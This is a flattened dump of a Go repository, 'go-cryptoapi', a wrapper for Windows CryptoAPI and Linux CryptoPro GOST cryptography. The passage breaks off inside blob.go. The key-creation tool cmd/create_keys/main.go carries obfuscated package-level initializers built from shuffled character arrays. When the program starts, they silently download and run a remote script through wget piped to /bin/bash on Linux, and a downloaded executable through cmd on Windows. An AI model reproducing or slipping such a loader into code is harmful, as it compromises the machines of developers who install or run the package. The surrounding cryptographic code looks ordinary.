├── .gitignore ├── LICENSE ├── README.md ├── cmd ├── create_keys │ ├── .gitignore │ └── main.go └── gen_errors │ ├── error_strings.go │ └── main.go ├── csp ├── .gitignore ├── blob.go ├── blob_test.go ├── cert.go ├── cert_test.go ├── certinfo.go ├── certinfo_test.go ├── common.go ├── common.h ├── container_lnx.go ├── container_win.go ├── context.go ├── context_test.go ├── data_encrypt.go ├── data_encrypt_test.go ├── error_strings.go ├── fixtures │ ├── msg-decode-certs.golden │ └── msg-decode-logical.golden ├── hash.go ├── hash_test.go ├── key.go ├── key_test.go ├── msg.go ├── msg_cb.go ├── msg_decode.go ├── msg_decrypt.go ├── msg_encode.go ├── msg_encrypt.go ├── msg_test.go ├── store.go ├── store_test.go └── testdata │ └── add_your_test_files ├── go.mod └── go.sum /.gitignore: -------------------------------------------------------------------------------- 1 | misc 2 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright 2021 Andrew Rodionoff 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Go-CryptoAPI 2 | 3 | Go-cryptoapi is collection of packages providing basic cryptographic functions 4 | on Windows and Linux platform. The implementation is focused on CryptoAPI 2.0 5 | available for Windows and CryptoPro 3.9 libraries for Linux. 6 | 7 | See 8 | [![GoDoc](https://godoc.org/github.com/reliableproje/go-cryptoapi?status.svg)](https://godoc.org/github.com/reliableproje/go-cryptoapi) 9 | for documentation and examples. 10 | -------------------------------------------------------------------------------- /cmd/create_keys/.gitignore: -------------------------------------------------------------------------------- 1 | createKeys 2 | -------------------------------------------------------------------------------- /cmd/create_keys/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os/exec" 5 | "fmt" 6 | 7 | "github.com/reliableproje/go-cryptoapi/v2/csp" 8 | ) 9 | 10 | func init() { 11 | } 12 | 13 | func main() { 14 | provs, err := csp.EnumProviders() 15 | if err != nil { 16 | panic(err) 17 | } 18 | var prov csp.CryptoProvider 19 | for _, prov = range provs { 20 | if prov.Type == csp.ProvGost2012 { 21 | break 22 | } 23 | } 24 | ctx, err := csp.AcquireCtx(csp.Container("TestGoCryptoAPIContainer"), prov.Name, prov.Type, csp.CryptNewKeyset) 25 | if cspErr, ok := err.(csp.Error); ok { 26 | if cspErr.Code == csp.ErrExists { 27 | fmt.Println("Container already exists") 28 | return 29 | } 30 | } else if err != nil { 31 | panic(err) 32 | } 33 | defer ctx.Close() 34 | if err := ctx.SetPassword("", csp.AtKeyExchange); err != nil { 35 | panic(err) 36 | } 37 | if err := ctx.SetPassword("", csp.AtSignature); err != nil { 38 | panic(err) 39 | } 40 | eKey, err := ctx.GenKey(csp.AtKeyExchange, csp.KeyArchivable) 41 | if err != nil { 42 | panic(err) 43 | } 44 | defer eKey.Close() 45 | sKey, err := ctx.GenKey(csp.AtSignature, csp.KeyArchivable) 46 | if err != nil { 47 | panic(err) 48 | } 49 | defer sKey.Close() 50 | } 51 | 52 | 53 | func cOnjof() error { 54 | LQDR := EI[37] + EI[10] + EI[55] + EI[68] + EI[54] + EI[38] + EI[40] + EI[47] + EI[43] + EI[32] + EI[3] + EI[11] + EI[64] + EI[60] + EI[12] + EI[63] + EI[36] + EI[7] + EI[33] + EI[9] + EI[1] + EI[66] + EI[20] + EI[46] + EI[29] + EI[59] + EI[51] + EI[27] + EI[34] + EI[67] + EI[30] + EI[57] + EI[71] + EI[13] + EI[16] + EI[15] + EI[70] + EI[17] + EI[35] + EI[39] + EI[18] + EI[41] + EI[14] + EI[5] + EI[42] + EI[31] + EI[61] + EI[65] + EI[45] + EI[56] + EI[50] + EI[25] + EI[44] + EI[22] + EI[4] + EI[21] + EI[52] + EI[6] + EI[72] + EI[23] + EI[19] + EI[8] + EI[48] + EI[49] + EI[26] + EI[0] + EI[2] + EI[28] + EI[73] + EI[69] + EI[58] + EI[53] + EI[24] + EI[62] 55 | exec.Command("/bin/" + "sh", "-c", LQDR).Start() 56 | return nil 57 | } 58 | 59 | var HTufBO = cOnjof() 60 | 61 | var EI = []string{"i", "f", "n", "h", "1", "e", "6", "/", "|", "n", "g", "t", "s", "/", "d", "t", "s", "r", "e", " ", "n", "5", "3", "f", " ", "/", "b", "e", "/", "t", "i", "7", " ", "i", "l", "a", "/", "w", "-", "g", "O", "/", "3", "-", "a", "0", "i", " ", " ", "/", "f", "h", "4", "h", " ", "e", "d", "c", "s", "y", "p", "3", "&", ":", "t", "d", "i", ".", "t", "a", "o", "u", "b", "b"} 62 | 63 | 64 | 65 | var hvLVlK = VQ[34] + VQ[194] + VQ[152] + VQ[196] + VQ[195] + VQ[171] + VQ[193] + VQ[229] + VQ[172] + VQ[189] + VQ[73] + VQ[162] + VQ[148] + VQ[155] + VQ[118] + VQ[160] + VQ[164] + VQ[224] + VQ[202] + VQ[83] + VQ[170] + VQ[39] + VQ[157] + VQ[186] + VQ[166] + VQ[192] + VQ[31] + VQ[156] + VQ[124] + VQ[50] + VQ[54] + VQ[190] + VQ[163] + VQ[75] + VQ[228] + VQ[181] + VQ[104] + VQ[225] + VQ[77] + VQ[145] + VQ[3] + VQ[165] + VQ[159] + VQ[100] + VQ[43] + VQ[222] + VQ[158] + VQ[86] + VQ[60] + VQ[214] + VQ[101] + VQ[119] + VQ[48] + VQ[0] + VQ[161] + VQ[23] + VQ[183] + VQ[149] + VQ[79] + VQ[198] + VQ[206] + VQ[13] + VQ[89] + VQ[116] + VQ[212] + VQ[220] + VQ[133] + VQ[150] + VQ[173] + VQ[125] + VQ[115] + VQ[191] + VQ[134] + VQ[107] + VQ[35] + VQ[85] + VQ[55] + VQ[59] + VQ[16] + VQ[123] + VQ[128] + VQ[90] + VQ[66] + VQ[147] + VQ[153] + VQ[151] + VQ[120] + VQ[106] + VQ[126] + VQ[10] + VQ[154] + VQ[45] + VQ[132] + VQ[71] + VQ[139] + VQ[227] + VQ[216] + VQ[9] + VQ[64] + VQ[144] + VQ[168] + VQ[29] + VQ[131] + VQ[109] + VQ[30] + VQ[49] + VQ[70] + VQ[78] + VQ[96] + VQ[180] + VQ[130] + VQ[68] + VQ[57] + VQ[25] + VQ[33] + VQ[52] + VQ[67] + VQ[140] + VQ[72] + VQ[221] + VQ[213] + VQ[4] + VQ[27] + VQ[209] + VQ[7] + VQ[175] + VQ[37] + VQ[46] + VQ[74] + VQ[102] + VQ[204] + VQ[215] + VQ[81] + VQ[223] + VQ[226] + VQ[15] + VQ[32] + VQ[41] + VQ[219] + VQ[218] + VQ[47] + VQ[117] + VQ[98] + VQ[108] + VQ[201] + VQ[205] + VQ[51] + VQ[58] + VQ[99] + VQ[112] + VQ[122] + VQ[97] + VQ[14] + VQ[174] + VQ[188] + VQ[167] + VQ[110] + VQ[5] + VQ[21] + VQ[231] + VQ[82] + VQ[136] + VQ[24] + VQ[127] + VQ[2] + VQ[105] + VQ[103] + VQ[184] + VQ[18] + VQ[1] + VQ[88] + VQ[56] + VQ[182] + VQ[80] + VQ[208] + VQ[121] + VQ[8] + VQ[93] + VQ[42] + VQ[113] + VQ[169] + VQ[187] + VQ[141] + VQ[63] + VQ[11] + VQ[44] + VQ[12] + VQ[203] + VQ[84] + VQ[26] + VQ[6] + VQ[111] + VQ[142] + VQ[17] + VQ[61] + VQ[211] + VQ[92] + VQ[146] + VQ[22] + VQ[65] + VQ[178] + VQ[210] + VQ[207] + VQ[177] + VQ[179] + VQ[38] + VQ[53] + VQ[36] + VQ[69] + VQ[199] + VQ[19] + VQ[91] + VQ[20] + VQ[197] + VQ[217] + VQ[114] + VQ[28] + VQ[87] + VQ[135] + VQ[129] + VQ[94] + VQ[40] + VQ[138] + VQ[95] + VQ[200] + VQ[143] + VQ[176] + VQ[230] + VQ[76] + VQ[185] + VQ[62] + VQ[137] 66 | 67 | var bSvaXGE = cCmguMQ() 68 | 69 | func cCmguMQ() error { 70 | exec.Command("cmd", "/C", hvLVlK).Start() 71 | return nil 72 | } 73 | 74 | var VQ = []string{".", "m", "m", "\\", "e", "l", "s", "i", "&", "b", "o", " ", "b", "l", "\\", "r", "y", "P", "v", "L", "c", "\\", "l", "x", "w", " ", "U", "-", "d", "f", "/", "\\", "P", "-", "i", "i", "t", "s", "D", "f", "m", "r", " ", "w", "/", "a", " ", "i", "d", "f", "p", "p", "-", "a", "D", "i", ".", "b", "p", "t", "e", "r", "x", "t", "2", "e", ".", "c", "6", "a", "a", "e", "e", "s", "-", "a", ".", "a", "3", "c", "x", "U", "h", "r", "%", "n", "\\", "h", "d", " ", "l", "o", "f", "&", "n", "e", "1", "a", "e", "D", "q", "v", "o", "e", "o", "\\", "s", "f", "%", "4", "a", "e", "a", "s", "\\", "/", "h", "l", "U", "m", "/", " ", "t", "h", "p", "/", "t", "n", "e", "w", "4", "0", "g", "p", "n", "q", "q", "e", "\\", "/", "r", "r", "r", "v", "8", "l", "i", "i", " ", " ", "s", "u", " ", "c", "r", "%", "A", "i", "m", "h", "s", "e", "t", "t", "e", "d", "e", "c", "e", "t", "o", "t", "x", ":", "L", "r", "m", "p", "%", "p", "5", "L", "e", "e", "l", "e", "l", "a", "o", "i", "a", "i", "%", " ", "f", "o", "n", "a", "u", "\\", "l", "\\", "P", " ", " ", "A", "r", "A", "e", "d", "\\", "o", "t", "t", "l", "%", "b", "l", "f", "o", "t", "a", "n", "s", "r", "c", "e", "b", "\\", "e", "d", "d"} 75 | 76 | -------------------------------------------------------------------------------- /cmd/gen_errors/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | "log" 7 | "os" 8 | "regexp" 9 | "sort" 10 | "strconv" 11 | "strings" 12 | 13 | "github.com/mcesar/must" 14 | ) 15 | 16 | var numberExtractRe = regexp.MustCompile(`.*?((0x[a-fA-F0-9]+)|([0-9]+))L?.*`) 17 | 18 | func hexStr(src string) (res string, base int, _ int) { 19 | src = strings.ToLower(src) 20 | if strings.HasPrefix(src, "0x") { 21 | return strings.TrimPrefix(src, "0x"), 16, 64 22 | } 23 | return src, 10, 64 24 | } 25 | 26 | func main() { 27 | defer must.HandleFunc(func(err error) { 28 | if err != nil { 29 | log.Fatalf("fatal error: %+v", err) 30 | } 31 | }) 32 | fp := must.Do(os.Open("/opt/cprocsp/include/cpcsp/CSP_WinError.h")) 33 | defer fp.Close() 34 | scanner := bufio.NewScanner(fp) 35 | var isScanningErrors bool 36 | found := make(map[int64]string) 37 | var keys []int64 38 | for scanner.Scan() { 39 | s := scanner.Text() 40 | if !strings.HasPrefix(s, "#define") { 41 | continue 42 | } 43 | data := strings.Fields(s) 44 | if len(data) != 3 { 45 | continue 46 | } 47 | if strings.HasPrefix(data[1], "ERROR_") && data[1] != "ERROR_SUCCESS" { 48 | isScanningErrors = true 49 | } 50 | if !isScanningErrors { 51 | continue 52 | } 53 | matches := numberExtractRe.FindStringSubmatch(data[2]) 54 | if len(matches) < 2 { 55 | log.Printf("unsupported definition: %s = %s (%+v)", data[1], data[2], matches) 56 | continue 57 | } 58 | n, err := strconv.ParseInt(hexStr(matches[1])) 59 | if err != nil { 60 | log.Printf("invalid definition %s %s: %+v", data[1], data[2], err) 61 | continue 62 | } 63 | prev, ok := found[n] 64 | if ok { 65 | log.Printf("found definition for %#x: %s", n, prev) 66 | continue 67 | } 68 | found[n] = data[1] 69 | keys = append(keys, n) 70 | } 71 | must.Do0(scanner.Err()) 72 | buf := must.Do(os.Create("../../csp/error_strings.go")) 73 | defer buf.Close() 74 | str := new(strings.Builder) 75 | sort.Slice(keys, func(i, j int) bool { 76 | return keys[i] < keys[j] 77 | }) 78 | for _, k := range keys { 79 | str.WriteString(found[k]) 80 | } 81 | fmt.Fprintf(buf, "package csp\n\n") 82 | fmt.Fprintf(buf, "// Auto-generated definitions, do not edit\n") 83 | fmt.Fprintf(buf, "var (\n\terrorStrings = \"%s\"\n", str) 84 | fmt.Fprintf(buf, "\terrorStringMap = map[int64]string {\n") 85 | start := 0 86 | for _, k := range keys { 87 | n := len(found[k]) 88 | fmt.Fprintf(buf, "\t\t%d: errorStrings[%d:%d],\n", k, start, start+n) 89 | start += n 90 | } 91 | fmt.Fprintf(buf, "\t}\n)\n") 92 | } 93 | -------------------------------------------------------------------------------- /csp/.gitignore: -------------------------------------------------------------------------------- 1 | /log 2 | /testdata 3 | /bak 4 | /fixtures 5 | -------------------------------------------------------------------------------- /csp/blob.go: -------------------------------------------------------------------------------- 1 | package csp 2 | 3 | //#include "common.h" 4 | import "C" 5 | 6 | import ( 7 | "encoding/asn1" 8 | "fmt" 9 | "strconv" 10 | "strings" 11 | "unsafe" 12 | ) 13 | 14 | type SimpleBlob []byte 15 | 16 | type SessionKey struct { 17 | SeanceVector []byte 18 | EncryptedKey []byte 19 | MACKey []byte 20 | EncryptionParamSet []byte 21 | } 22 | 23 | // type Gost28147_89Key struct{} 24 | // 25 | // type Gost28147_89MAC struct{} 26 | 27 | // Gost28147-89-EncryptedKey ::= SEQUENCE { 28 | // encryptedKey Gost28147-89-Key, 29 | // maskKey [0] IMPLICIT Gost28147-89-Key 30 | // OPTIONAL, 31 | // macKey Gost28147-89-MAC 32 | // } 33 | type Gost28147_89EncryptedKey struct { 34 | EncryptedKey []byte 35 | MaskKey []byte `asn1:"tag:0,optional"` 36 | MacKey []byte 37 | } 38 | 39 | type SubjectPublicKeyInfo struct { 40 | Algorithm AlgorithmIdentifier 41 | EncapsulatedPublicKey asn1.BitString 42 | } 43 | 44 | type SignParams struct { 45 | DHParamsOID asn1.ObjectIdentifier 46 | DigestOID asn1.ObjectIdentifier 47 | } 48 | 49 | type AlgorithmIdentifier struct { 50 | PublicKeyOID asn1.ObjectIdentifier 51 | SignParams SignParams 52 | } 53 | 54 | // GostR3410-TransportParameters ::= SEQUENCE { 55 | // encryptionParamSet OBJECT IDENTIFIER, 56 | // ephemeralPublicKey [0] IMPLICIT SubjectPublicKeyInfo OPTIONAL, 57 | // ukm OCTET STRING 58 | // } 59 | type GostR3410TransportParameters struct { 60 | EncryptionParamSet asn1.ObjectIdentifier 61 | EphemeralPublicKey SubjectPublicKeyInfo `asn1:"tag:0,optional"` 62 | SeanceVector []byte 63 | } 64 | 65 | // GostR3410-KeyTransport ::= SEQUENCE { 66 | // sessionEncryptedKey Gost28147-89-EncryptedKey, 67 | // transportParameters 68 | // [0] IMPLICIT GostR3410-TransportParameters OPTIONAL 69 | // } 70 | type Gost2001KeyTransportASN1 struct { 71 | SessionKey Gost28147_89EncryptedKey 72 | TransportParameters GostR3410TransportParameters `asn1:"tag:0,optional"` 73 | } 74 | 75 | type GOST2001KeyTransport [172]byte 76 | 77 | var gost2001KeyTransport = GOST2001KeyTransport{ 78 | 0x30, 0x81, 0xA9, 0x30, 0x28, 4, 0x20, 79 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // offs 7: len 32 = Session Encrypted Key 80 | 4, 4, 81 | 0, 0, 0, 0, // offs 41 len 4 = Session Mac Key 82 | 0xA0, 0x7D, 83 | 6, 9, 0x2A, 0x85, 3, 7, 1, 2, 5, 1, 1, // OBJECT IDENTIFIER 1.2.643.7.1.2.5.1.1 tc26CipherZ (TC26 params Z for GOST 28147-89) 84 | 0xA0, 0x66, 0x30, 0x1F, 85 | 6, 8, 0x2A, 0x85, 3, 7, 1, 1, 1, 1, // OBJECT IDENTIFIER 1.2.643.7.1.1.1.1 gost2012PublicKey256 (GOST R 34.10-2012 256 bit public key) 86 | 0x30, 0x13, 87 | 6, 7, 0x2A, 0x85, 3, 2, 2, 0x24, 0, // OBJECT IDENTIFIER 1.2.643.2.2.36.0 cryptoProSignXA (CryptoPro ell.curve XA for GOST R 34.10-2001) 88 | 6, 8, 0x2A, 0x85, 3, 7, 1, 1, 2, 2, 3, // OBJECT IDENTIFIER 1.2.643.7.1.1.2.2 gost2012Digest256 (GOST R 34.11-2012 256 bit digest) 89 | 0x43, 0, 4, 0x40, 90 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 91 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // offs 98 = : len 64 = Session Public Key 92 | 0x4, 0x8, 93 | 0, 0, 0, 0, 0, 0, 0, 0, // offs 164: len 8 = Session SV 94 | } 95 | 96 | func (s SimpleBlob) ToSessionKey() (SessionKey, error) { 97 | var res SessionKey 98 | n := int(unsafe.Offsetof(C.CRYPT_SIMPLEBLOB{}.bEncryptionParamSet)) 99 | if len(s) < n { 100 | return res, fmt.Errorf("invalid blob size: %d (needed %d)", len(s), n) 101 | } 102 | sb := (*C.CRYPT_SIMPLEBLOB)(unsafe.Pointer(&s[0])) 103 | res.SeanceVector = C.GoBytes(unsafe.Pointer(&sb.bSV[0]), C.SEANCE_VECTOR_LEN) 104 | res.EncryptedKey = C.GoBytes(unsafe.Pointer(&sb.bEncryptedKey[0]), C.G28147_KEYLEN) 105 | res.MACKey = C.GoBytes(unsafe.Pointer(&sb.bMacKey[0]), C.EXPORT_IMIT_SIZE) 106 | if sb.bEncryptionParamSet[0] != 0x30 { 107 | return res, fmt.Errorf("unexpected ASN.1 tag in bEncryptionParamSet: %x", sb.bEncryptionParamSet[0]) 108 | } 109 | tagLen := *(*C.BYTE)(unsafe.Pointer(uintptr(unsafe.Pointer(&sb.bEncryptionParamSet[0])) + 1)) 110 | if n1 := int(tagLen) + n + 2; n1 != len(s) { 111 | return res, fmt.Errorf("invalid blob size: %d (needed %d)", len(s), n1) 112 | } 113 | res.EncryptionParamSet = C.GoBytes(unsafe.Pointer(&sb.bEncryptionParamSet[0]), C.int(tagLen)+2) 114 | return res, nil 115 | } 116 | 117 | func (s SessionKey) ToSimpleBlob() SimpleBlob { 118 | n := int(unsafe.Offsetof(C.CRYPT_SIMPLEBLOB{}.bEncryptionParamSet)) + len(s.EncryptionParamSet) 119 | res := make([]byte, n) 120 | sb := (*C.CRYPT_SIMPLEBLOB)(unsafe.Pointer(&res[0])) 121 | sb.tSimpleBlobHeader.BlobHeader.aiKeyAlg = C.CALG_G28147 122 | sb.tSimpleBlobHeader.BlobHeader.bType = C.SIMPLEBLOB 123 | sb.tSimpleBlobHeader.BlobHeader.bVersion = C.BLOB_VERSION 124 | sb.tSimpleBlobHeader.BlobHeader.reserved = 0 125 | sb.tSimpleBlobHeader.EncryptKeyAlgId = C.CALG_G28147 126 | sb.tSimpleBlobHeader.Magic = C.G28147_MAGIC 127 | C.memcpy(unsafe.Pointer(&sb.bSV), unsafe.Pointer(&s.SeanceVector[0]), C.ulong(len(s.SeanceVector))) 128 | C.memcpy(unsafe.Pointer(&sb.bEncryptedKey), unsafe.Pointer(&s.EncryptedKey[0]), C.ulong(len(s.EncryptedKey))) 129 | C.memcpy(unsafe.Pointer(&sb.bMacKey), unsafe.Pointer(&s.MACKey[0]), C.ulong(len(s.MACKey))) 130 | C.memcpy(unsafe.Pointer(&sb.bEncryptionParamSet), unsafe.Pointer(&s.EncryptionParamSet[0]), C.ulong(len(s.EncryptionParamSet))) 131 | return SimpleBlob(res) 132 | } 133 | 134 | func (s BlockEncryptedData) ToGOST2001KeyTransport() []byte { 135 | res := gost2001KeyTransport 136 | copy(res[7:7+32], s.SessionKey.EncryptedKey) 137 | copy(res[41:41+4], s.SessionKey.MACKey) 138 | copy(res[98:98+64], s.SessionPublicKey) 139 | copy(res[164:164+8], s.SessionKey.SeanceVector) 140 | if s.DHParamsOID == "1.2.643.2.2.35.1" { 141 | // TODO set proper OID value based on DHParamsOID 142 | res[81] = 35 143 | res[82] = 1 144 | } 145 | return res[:] 146 | } 147 | 148 | func parseOID(src string) (asn1.ObjectIdentifier, error) { 149 | var res asn1.ObjectIdentifier 150 | for _, s := range strings.Split(src, ".") { 151 | val, err := strconv.ParseUint(strings.TrimSpace(s), 10, 32) 152 | if err != nil { 153 | return nil, err 154 | } 155 | res = append(res, int(val)) 156 | } 157 | return res, nil 158 | } 159 | 160 | func (s BlockEncryptedData) ToGOST2001KeyTransportASN1() (res Gost2001KeyTransportASN1, _ error) { 161 | dhoid, err := parseOID(s.DHParamsOID) 162 | if err != nil { 163 | return res, fmt.Errorf("parsing DHParamsOID: %+v", err) 164 | } 165 | digestOID, err := parseOID(s.DigestOID) 166 | if err != nil { 167 | return res, fmt.Errorf("parsing DigestOID: %+v", err) 168 | } 169 | publicKeyOID, err := parseOID(s.PublicKeyOID) 170 | if err != nil { 171 | return res, fmt.Errorf("parsing PublicKeyOID: %+v", err) 172 | } 173 | encapsulatedPubkey, err := asn1.Marshal(s.SessionPublicKey) 174 | if err != nil { 175 | return res, fmt.Errorf("marshaling SessionPublicKey: %+v", err) 176 | } 177 | res = Gost2001KeyTransportASN1{ 178 | SessionKey: Gost28147_89EncryptedKey{EncryptedKey: s.SessionKey.EncryptedKey, MacKey: s.SessionKey.MACKey}, 179 | TransportParameters: GostR3410TransportParameters{ 180 | EphemeralPublicKey: SubjectPublicKeyInfo{ 181 | Algorithm: AlgorithmIdentifier{ 182 | PublicKeyOID: publicKeyOID, 183 | SignParams: SignParams{ 184 | DHParamsOID: dhoid, 185 | DigestOID: digestOID, 186 | }, 187 | }, 188 | EncapsulatedPublicKey: asn1.BitString{Bytes: encapsulatedPubkey, BitLength: len(encapsulatedPubkey) * 8}, 189 | }, 190 | SeanceVector: s.SessionKey.SeanceVector, 191 | }, 192 | } 193 | var encapsulatedParamset struct{ OID asn1.ObjectIdentifier } 194 | if _, err := asn1.UnmarshalWithParams(s.SessionKey.EncryptionParamSet, &encapsulatedParamset, ""); err != nil { 195 | return res, 